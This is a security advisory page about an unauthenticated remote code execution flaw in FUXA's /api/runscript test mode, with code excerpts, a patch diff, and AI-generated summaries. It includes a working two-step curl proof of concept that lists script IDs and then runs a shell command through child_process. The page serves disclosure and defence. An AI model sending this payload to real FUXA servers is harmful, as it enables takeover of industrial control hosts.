FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass
Description
Summary
An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.
Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).
The only prerequisite is that at least one server-side script exists in the project.
Details
Authorization confused deputy in script execution
File: server/runtime/scripts/index.js, lines 86-103
The authorization check looks up the stored script by ID and validates the stored script's permission field:
this.isAuthorised = function (_script, permission) {
const st = scriptModule.getScript(_script); // finds stored script by _script.id
if (admin || (st && (!st.permission || st.permission & permission))) {
return true;
}
return false;
}
When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.
Guest auto-authentication in the middleware
File: server/api/jwt-helper.js, lines 46-72
The verifyToken middleware generates a valid guest JWT when no token is provided:
if (!token) {
token = getGuestToken();
}
The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.
Test mode executes attacker-supplied code
File: server/runtime/scripts/msm.js
When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.
PoC
Requires an existing server-side script accessible without restrictive permissions.
Step 1: Retrieve script IDs from the unauthenticated project endpoint
curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'
{
"id": "legit-001",
"name": "calculate",
}
{
"id": "s_42a888fa-8e3d4213",
"name": "subs",
}
**Step 2: Execute whoami without authentication**
Using the script ID and name from step 1:
curl -s -X POST http://192.168.32.129:1881/api/runscript \
-H "Content-Type: application/json" \
-d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'
Impact
Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.
Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.
This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
An unauthenticated RCE in FUXA allows arbitrary code execution via the test mode of the POST /api/runscript endpoint when secureEnabled is true and a script with no permissions exists.
Vulnerability
An unauthenticated Remote Code Execution (RCE) vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint uses an authorization mechanism that checks permissions against a stored script by its ID, but when the request includes test: true, the endpoint compiles and executes attacker-supplied code instead of the stored script's code. The authorization check in server/runtime/scripts/index.js lines 86-103 passes for any caller (including guests) if the stored script has no permission field or has permission: 0, because !st.permission evaluates to true [1][2][3]. The vulnerable code path is reachable in FUXA versions prior to the security fix introduced in commit 78534da [4]. An attacker only needs to know a valid script ID and name, which can be obtained via the GET /api/project endpoint (a separate information disclosure issue), and the prerequisite is that at least one server-side script exists in the project [2][3].
Exploitation
An unauthenticated attacker with knowledge of a valid script ID and name sends a crafted POST request to /api/runscript with the body containing test: true and attacker-supplied code in the code field. The verifyToken middleware in server/api/jwt-helper.js automatically generates a guest JWT when no token is provided, allowing the request to proceed with userId: "guest" [2][3]. The isAuthorised function then looks up the stored script by the provided ID and, because the stored script has no permission field (or permission: 0), the authorization check passes for the guest user. The handler then invokes runTestScript from server/runtime/scripts/msm.js, which compiles and executes the attacker-supplied code rather than the stored script's code [2][3]. No authentication tokens or session is required, and the attacker can enumerate script IDs via the unprotected GET /api/project endpoint.
Impact
Successful exploitation allows an unauthenticated attacker to execute arbitrary code on the server with the privileges of the FUXA process. This leads to full compromise of the application and potentially the underlying host, including data exfiltration, installation of backdoors, and further lateral movement within the network. The impact is complete loss of confidentiality, integrity, and availability. The attacker does not require any prior authentication or user interaction.
Mitigation
The vulnerability is fixed in commit 78534da, which changes the isAuthorisedByScriptName function to return false instead of true when the script is not found, and also adjusts the authorization logic for other endpoints [4]. Users should upgrade to the latest version of FUXA that includes this fix or apply the patch manually. If immediate upgrade is not possible, as a workaround, disable secureEnabled in the configuration, or ensure that no server-side script is left without a permission field, though this does not fully address the confused deputy in test mode. The vulnerability is not listed on the CISA Known Exploited Vulnerabilities (KEV) catalog as of this writing.
AI Insight generated on May 26, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.
Affected products
2- Range: = 1.3.0
Patches
178534da61a91Security fixes (#2260)
3 files changed · +7 −8
server/api/command/index.js+1 −1 modified@@ -78,7 +78,7 @@ module.exports = { if (res.statusCode === 403) { runtime.logger.error("api get getTagValue: Tocken Expired"); } else if (!authJwt.haveAdminPermission(permission) && !runtime.scriptsMgr.isAuthorisedByScriptName(req.query.sourceScriptName, permission)) { - res.status(400).json({error:"unauthorized_error", message: "Unauthorized!"}); + res.status(401).json({error:"unauthorized_error", message: "Unauthorized!"}); runtime.logger.error("api get getTagValue: Unauthorized"); } else { try {
server/integrations/node-red/index.js+4 −5 modified@@ -152,12 +152,11 @@ async function mountNodeRedIfInstalled({ app, server, settings, runtime, logger, }); }; - // Allow public dashboard UI and socket.io; require JWT or API key for admin/editor/flows when security is enabled + // Allow only dashboard routes as public; require JWT or API key for admin/editor/flows when security is enabled const allowDashboard = (req, res, next) => { - const url = req.originalUrl || req.url || req.path; - - // Public dashboard UI and its HTTP APIs (served from httpNodeRoot/ui.path) - if (url.includes('/dashboard') || url.includes('/socket.io')) return next(); + // Public dashboard UI and its HTTP APIs (served from httpNodeRoot/ui.path). + // baseUrl comes from Express mount point and is not affected by query/path tricks. + if (req.baseUrl === '/dashboard') return next(); if (!settings.secureEnabled || settings.nodeRedAuthMode === 'legacy-open') { return next();
server/runtime/scripts/index.js+2 −2 modified@@ -106,7 +106,7 @@ function ScriptsManager(_runtime) { this.isAuthorisedByScriptName = function (scriptName, permission) { const script = scriptModule.getScriptByName(scriptName); if (!script) { - return true; + return false; } return this.isAuthorised(script, permission); } @@ -366,4 +366,4 @@ const ScriptSchedulingMode = { const SchedulerType = { weekly: 0, date: 1, -} \ No newline at end of file +}
Vulnerability mechanics
Root cause
"Authorization confused deputy: the `POST /api/runscript` endpoint validates the stored script's permission field but then compiles and executes attacker-supplied code from the request body when `test: true` is set, instead of executing the stored script's code."
Attack vector
An unauthenticated attacker sends a POST request to `/api/runscript` with a JSON body containing a valid script `id` and `name` (obtainable from the unauthenticated `GET /api/project` endpoint), along with `test: true` and attacker-supplied `code`. The `verifyToken` middleware generates a guest JWT when no token is provided [ref_id=1]. The `isAuthorised` check looks up the stored script by ID and passes if the stored script has no `permission` field (or `permission: 0`), because `!st.permission` evaluates to `true` [ref_id=1]. After authorization passes, `runTestScript` compiles the attacker's `code` field via `Module._compile` and executes it with full Node.js runtime access [ref_id=1]. The only prerequisite is that at least one server-side script exists in the project with no restrictive permissions.
Affected code
The authorization confused deputy is in `server/runtime/scripts/index.js` lines 86-103, where `isAuthorised` looks up the stored script by ID and checks its `permission` field [ref_id=1]. The guest auto-authentication is in `server/api/jwt-helper.js` lines 46-72, where `verifyToken` generates a guest JWT when no token is provided [ref_id=1]. The test-mode code execution is in `server/runtime/scripts/msm.js`, where `runTestScript` compiles the attacker's `code` field via `Module._compile` [ref_id=1].
What the fix does
The patch in `server/runtime/scripts/index.js` changes `isAuthorisedByScriptName` to return `false` (instead of `true`) when no script is found by name [patch_id=2594513]. This prevents authorization bypass when a script name lookup fails. The patch also tightens the Node-RED dashboard route check from `url.includes('/dashboard')` to `req.baseUrl === '/dashboard'` to prevent path-based bypasses [patch_id=2594513]. A separate change corrects the HTTP status code from 400 to 401 for unauthorized responses in the command API [patch_id=2594513]. The advisory notes that the root cause — test mode executing attacker-supplied code after authorizing against the stored script — is not addressed in this patch [ref_id=1].
Preconditions
- configFUXA must have secureEnabled set to true
- configAt least one server-side script must exist in the project
- configThe existing script must have no permission field set (or permission: 0)
- inputAttacker must know a valid script ID and name (obtainable via unauthenticated GET /api/project)
- authNo authentication token required — guest JWT is auto-generated
- networkNetwork access to the FUXA HTTP endpoint
Reproduction
Requires an existing server-side script accessible without restrictive permissions. Step 1: Retrieve script IDs from the unauthenticated project endpoint — `curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'`. Step 2: Execute arbitrary code without authentication — `curl -s -X POST http://192.168.32.129:1881/api/runscript -H "Content-Type: application/json" -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'` [ref_id=1].
Generated on May 26, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.
References
5News mentions
0No linked articles in our index yet.